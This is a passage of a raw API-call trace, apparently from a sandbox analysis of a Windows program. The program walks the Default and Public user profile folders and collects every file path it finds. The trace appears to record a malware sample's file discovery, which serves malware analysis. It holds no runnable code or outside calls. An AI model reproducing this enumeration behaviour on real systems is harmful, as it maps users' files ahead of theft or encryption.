lpString2="c:\\Users\\Default\\ntuser.ini" | out: lpString1="c:\\Users\\Default\\ntuser.ini") returned="c:\\Users\\Default\\ntuser.ini" [0121.687] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.687] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0121.687] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0121.687] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.687] lstrlenW (lpString="Pictures") returned 8 [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="c:\\Users\\Default\\Pictures") returned="c:\\Users\\Default\\Pictures" [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Pictures\\") returned="c:\\Users\\Default\\Pictures\\" [0121.687] lstrlenW (lpString="c:\\Users\\Default\\Pictures\\") returned 26 [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\Pictures\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Pictures\\*") returned="c:\\Users\\Default\\Pictures\\*" [0121.687] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Pictures\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.687] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.687] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.687] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.687] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.687] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.687] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.687] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.687] lstrlenW (lpString="c:\\Users\\Default\\Pictures\\") returned 26 [0121.687] lstrlenW (lpString="desktop.ini") returned 11 [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\Pictures\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Pictures\\desktop.ini") returned="c:\\Users\\Default\\Pictures\\desktop.ini" [0121.687] lstrlenW (lpString="c:\\Users\\Default\\Pictures\\desktop.ini") returned 37 [0121.687] lstrcpyW (in: lpString1=0x24abd00, lpString2="c:\\Users\\Default\\Pictures\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Pictures\\desktop.ini") returned="c:\\Users\\Default\\Pictures\\desktop.ini" [0121.687] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.687] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.687] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.687] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0121.687] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0121.687] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.687] lstrlenW (lpString="PrintHood") returned 9 [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="c:\\Users\\Default\\PrintHood") returned="c:\\Users\\Default\\PrintHood" [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="c:\\Users\\Default\\PrintHood\\") returned="c:\\Users\\Default\\PrintHood\\" [0121.687] lstrlenW (lpString="c:\\Users\\Default\\PrintHood\\") returned 27 [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\PrintHood\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\PrintHood\\*") returned="c:\\Users\\Default\\PrintHood\\*" [0121.687] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.687] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.687] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0121.688] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0121.688] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.688] lstrlenW (lpString="Recent") returned 6 [0121.688] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Recent" | out: lpString1="c:\\Users\\Default\\Recent") returned="c:\\Users\\Default\\Recent" [0121.688] lstrcatW (in: lpString1="c:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Recent\\") returned="c:\\Users\\Default\\Recent\\" [0121.688] lstrlenW (lpString="c:\\Users\\Default\\Recent\\") returned 24 [0121.688] lstrcatW (in: lpString1="c:\\Users\\Default\\Recent\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Recent\\*") returned="c:\\Users\\Default\\Recent\\*" [0121.688] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Recent\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.688] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.688] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0121.688] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0121.688] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.688] lstrlenW (lpString="Saved Games") returned 11 [0121.688] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="c:\\Users\\Default\\Saved Games") returned="c:\\Users\\Default\\Saved Games" [0121.688] lstrcatW (in: lpString1="c:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Saved Games\\") returned="c:\\Users\\Default\\Saved Games\\" [0121.688] lstrlenW (lpString="c:\\Users\\Default\\Saved Games\\") returned 29 [0121.688] lstrcatW (in: lpString1="c:\\Users\\Default\\Saved Games\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Saved Games\\*") returned="c:\\Users\\Default\\Saved Games\\*" [0121.688] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.688] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.688] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.688] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.688] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.688] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.688] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.688] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.688] lstrlenW (lpString="c:\\Users\\Default\\Saved Games\\") returned 29 [0121.688] lstrlenW (lpString="desktop.ini") returned 11 [0121.688] lstrcatW (in: lpString1="c:\\Users\\Default\\Saved Games\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Saved Games\\desktop.ini") returned="c:\\Users\\Default\\Saved Games\\desktop.ini" [0121.688] lstrlenW (lpString="c:\\Users\\Default\\Saved Games\\desktop.ini") returned 40 [0121.688] lstrcpyW (in: lpString1=0x24aca50, lpString2="c:\\Users\\Default\\Saved Games\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Saved Games\\desktop.ini") returned="c:\\Users\\Default\\Saved Games\\desktop.ini" [0121.688] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.688] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.688] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.688] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0121.688] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0121.688] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.688] lstrlenW (lpString="Searches") returned 8 [0121.689] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Searches" | out: lpString1="c:\\Users\\Default\\Searches") returned="c:\\Users\\Default\\Searches" [0121.689] lstrcatW (in: lpString1="c:\\Users\\Default\\Searches", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Searches\\") returned="c:\\Users\\Default\\Searches\\" [0121.689] lstrlenW (lpString="c:\\Users\\Default\\Searches\\") returned 26 [0121.689] lstrcatW (in: lpString1="c:\\Users\\Default\\Searches\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Searches\\*") returned="c:\\Users\\Default\\Searches\\*" [0121.689] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Searches\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.690] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.690] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.690] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.690] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.690] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.690] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.690] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.690] lstrlenW (lpString="c:\\Users\\Default\\Searches\\") returned 26 [0121.690] lstrlenW (lpString="desktop.ini") returned 11 [0121.690] lstrcatW (in: lpString1="c:\\Users\\Default\\Searches\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Searches\\desktop.ini") returned="c:\\Users\\Default\\Searches\\desktop.ini" [0121.690] lstrlenW (lpString="c:\\Users\\Default\\Searches\\desktop.ini") returned 37 [0121.690] lstrcpyW (in: lpString1=0x24abd58, lpString2="c:\\Users\\Default\\Searches\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Searches\\desktop.ini") returned="c:\\Users\\Default\\Searches\\desktop.ini" [0121.690] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.690] lstrcmpW (lpString1="Everywhere.search-ms", lpString2=".") returned 1 [0121.690] lstrcmpW (lpString1="Everywhere.search-ms", lpString2="..") returned 1 [0121.690] lstrlenW (lpString="c:\\Users\\Default\\Searches\\") returned 26 [0121.690] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0121.690] lstrcatW (in: lpString1="c:\\Users\\Default\\Searches\\", lpString2="Everywhere.search-ms" | out: lpString1="c:\\Users\\Default\\Searches\\Everywhere.search-ms") returned="c:\\Users\\Default\\Searches\\Everywhere.search-ms" [0121.690] lstrlenW (lpString="c:\\Users\\Default\\Searches\\Everywhere.search-ms") returned 46 [0121.690] lstrcpyW (in: lpString1=0x24ad898, lpString2="c:\\Users\\Default\\Searches\\Everywhere.search-ms" | out: lpString1="c:\\Users\\Default\\Searches\\Everywhere.search-ms") returned="c:\\Users\\Default\\Searches\\Everywhere.search-ms" [0121.690] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.690] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1 [0121.690] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1 [0121.690] lstrlenW (lpString="c:\\Users\\Default\\Searches\\") returned 26 [0121.690] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0121.690] lstrcatW (in: lpString1="c:\\Users\\Default\\Searches\\", lpString2="Indexed Locations.search-ms" | out: lpString1="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms" [0121.690] lstrlenW (lpString="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned 53 [0121.690] lstrcpyW (in: lpString1=0x24a9080, lpString2="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms" | out: lpString1="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms" [0121.690] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.690] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.691] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.691] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0121.691] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0121.691] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.691] lstrlenW (lpString="SendTo") returned 6 [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="c:\\Users\\Default\\SendTo") returned="c:\\Users\\Default\\SendTo" [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="c:\\Users\\Default\\SendTo\\") returned="c:\\Users\\Default\\SendTo\\" [0121.691] lstrlenW (lpString="c:\\Users\\Default\\SendTo\\") returned 24 [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\SendTo\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\SendTo\\*") returned="c:\\Users\\Default\\SendTo\\*" [0121.691] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\SendTo\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.691] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.691] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0121.691] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0121.691] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.691] lstrlenW (lpString="Start Menu") returned 10 [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="c:\\Users\\Default\\Start Menu") returned="c:\\Users\\Default\\Start Menu" [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Start Menu\\") returned="c:\\Users\\Default\\Start Menu\\" [0121.691] lstrlenW (lpString="c:\\Users\\Default\\Start Menu\\") returned 28 [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\Start Menu\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Start Menu\\*") returned="c:\\Users\\Default\\Start Menu\\*" [0121.691] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.691] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.691] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0121.691] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0121.691] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.691] lstrlenW (lpString="Templates") returned 9 [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Templates" | out: lpString1="c:\\Users\\Default\\Templates") returned="c:\\Users\\Default\\Templates" [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Templates\\") returned="c:\\Users\\Default\\Templates\\" [0121.691] lstrlenW (lpString="c:\\Users\\Default\\Templates\\") returned 27 [0121.691] lstrcatW (in: lpString1="c:\\Users\\Default\\Templates\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Templates\\*") returned="c:\\Users\\Default\\Templates\\*" [0121.691] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Templates\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.692] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.692] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0121.692] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0121.692] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.692] lstrlenW (lpString="Videos") returned 6 [0121.692] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Videos" | out: lpString1="c:\\Users\\Default\\Videos") returned="c:\\Users\\Default\\Videos" [0121.692] lstrcatW (in: lpString1="c:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Videos\\") returned="c:\\Users\\Default\\Videos\\" [0121.692] lstrlenW (lpString="c:\\Users\\Default\\Videos\\") returned 24 [0121.692] lstrcatW (in: lpString1="c:\\Users\\Default\\Videos\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Videos\\*") returned="c:\\Users\\Default\\Videos\\*" [0121.692] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Videos\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.692] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.692] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.692] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.692] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.692] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.692] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.692] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.692] lstrlenW (lpString="c:\\Users\\Default\\Videos\\") returned 24 [0121.692] lstrlenW (lpString="desktop.ini") returned 11 [0121.692] lstrcatW (in: lpString1="c:\\Users\\Default\\Videos\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Videos\\desktop.ini") returned="c:\\Users\\Default\\Videos\\desktop.ini" [0121.692] lstrlenW (lpString="c:\\Users\\Default\\Videos\\desktop.ini") returned 35 [0121.692] lstrcpyW (in: lpString1=0x24b0128, lpString2="c:\\Users\\Default\\Videos\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Videos\\desktop.ini") returned="c:\\Users\\Default\\Videos\\desktop.ini" [0121.692] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.692] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.692] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.692] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.692] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.692] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0121.692] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0121.692] lstrlenW (lpString="c:\\Users\\") returned 9 [0121.692] lstrlenW (lpString="Default User") returned 12 [0121.692] lstrcatW (in: lpString1="c:\\Users\\", lpString2="Default User" | out: lpString1="c:\\Users\\Default User") returned="c:\\Users\\Default User" [0121.692] lstrcatW (in: lpString1="c:\\Users\\Default User", lpString2="\\" | out: lpString1="c:\\Users\\Default User\\") returned="c:\\Users\\Default User\\" [0121.692] lstrlenW (lpString="c:\\Users\\Default User\\") returned 22 [0121.692] lstrcatW (in: lpString1="c:\\Users\\Default User\\", lpString2="*" | out: lpString1="c:\\Users\\Default User\\*") returned="c:\\Users\\Default User\\*" [0121.692] FindFirstFileW (in: lpFileName="c:\\Users\\Default User\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0xffffffff [0121.692] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.692] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.692] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.693] lstrlenW (lpString="c:\\Users\\") returned 9 [0121.693] lstrlenW (lpString="desktop.ini") returned 11 [0121.693] lstrcatW (in: lpString1="c:\\Users\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\desktop.ini") returned="c:\\Users\\desktop.ini" [0121.693] lstrlenW (lpString="c:\\Users\\desktop.ini") returned 20 [0121.693] lstrcpyW (in: lpString1=0x24b12d0, lpString2="c:\\Users\\desktop.ini" | out: lpString1="c:\\Users\\desktop.ini") returned="c:\\Users\\desktop.ini" [0121.693] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.693] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0121.693] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0121.693] lstrlenW (lpString="c:\\Users\\") returned 9 [0121.693] lstrlenW (lpString="Public") returned 6 [0121.693] lstrcatW (in: lpString1="c:\\Users\\", lpString2="Public" | out: lpString1="c:\\Users\\Public") returned="c:\\Users\\Public" [0121.693] lstrcatW (in: lpString1="c:\\Users\\Public", lpString2="\\" | out: lpString1="c:\\Users\\Public\\") returned="c:\\Users\\Public\\" [0121.693] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.693] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\*") returned="c:\\Users\\Public\\*" [0121.693] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.693] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.693] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.693] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.693] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0121.693] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0121.693] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.693] lstrlenW (lpString="Desktop") returned 7 [0121.693] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="c:\\Users\\Public\\Desktop") returned="c:\\Users\\Public\\Desktop" [0121.693] lstrcatW (in: lpString1="c:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Desktop\\") returned="c:\\Users\\Public\\Desktop\\" [0121.693] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\") returned 24 [0121.693] lstrcatW (in: lpString1="c:\\Users\\Public\\Desktop\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Desktop\\*") returned="c:\\Users\\Public\\Desktop\\*" [0121.693] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Desktop\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.693] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.693] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.693] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.693] lstrcmpW (lpString1="Adobe Reader X.lnk", lpString2=".") returned 1 [0121.693] lstrcmpW (lpString1="Adobe Reader X.lnk", lpString2="..") returned 1 [0121.693] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\") returned 24 [0121.693] lstrlenW (lpString="Adobe Reader X.lnk") returned 18 [0121.693] lstrcatW (in: lpString1="c:\\Users\\Public\\Desktop\\", lpString2="Adobe Reader X.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" [0121.693] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned 42 [0121.693] lstrcpyW (in: lpString1=0x24acab0, lpString2="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" [0121.694] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.694] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.694] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.694] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\") returned 24 [0121.694] lstrlenW (lpString="desktop.ini") returned 11 [0121.694] lstrcatW (in: lpString1="c:\\Users\\Public\\Desktop\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Desktop\\desktop.ini") returned="c:\\Users\\Public\\Desktop\\desktop.ini" [0121.694] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\desktop.ini") returned 35 [0121.694] lstrcpyW (in: lpString1=0x24b0178, lpString2="c:\\Users\\Public\\Desktop\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Desktop\\desktop.ini") returned="c:\\Users\\Public\\Desktop\\desktop.ini" [0121.694] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.694] lstrcmpW (lpString1="Google Chrome.lnk", lpString2=".") returned 1 [0121.694] lstrcmpW (lpString1="Google Chrome.lnk", lpString2="..") returned 1 [0121.694] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\") returned 24 [0121.694] lstrlenW (lpString="Google Chrome.lnk") returned 17 [0121.694] lstrcatW (in: lpString1="c:\\Users\\Public\\Desktop\\", lpString2="Google Chrome.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned="c:\\Users\\Public\\Desktop\\Google Chrome.lnk" [0121.694] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned 41 [0121.694] lstrcpyW (in: lpString1=0x24acb10, lpString2="c:\\Users\\Public\\Desktop\\Google Chrome.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned="c:\\Users\\Public\\Desktop\\Google Chrome.lnk" [0121.694] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.694] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1 [0121.694] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1 [0121.694] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\") returned 24 [0121.694] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19 [0121.694] lstrcatW (in: lpString1="c:\\Users\\Public\\Desktop\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" [0121.694] lstrlenW (lpString="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned 43 [0121.694] lstrcpyW (in: lpString1=0x24acb70, lpString2="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" [0121.694] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.694] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.694] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.694] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.694] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.694] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.694] lstrlenW (lpString="desktop.ini") returned 11 [0121.694] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\desktop.ini") returned="c:\\Users\\Public\\desktop.ini" [0121.694] lstrlenW (lpString="c:\\Users\\Public\\desktop.ini") returned 27 [0121.694] lstrcpyW (in: lpString1=0x24b1308, lpString2="c:\\Users\\Public\\desktop.ini" | out: lpString1="c:\\Users\\Public\\desktop.ini") returned="c:\\Users\\Public\\desktop.ini" [0121.694] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.694] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0121.694] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0121.694] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.694] lstrlenW (lpString="Documents") returned 9 [0121.694] lstrcatW (in: lpString1="c:\\Users\\Public\\", 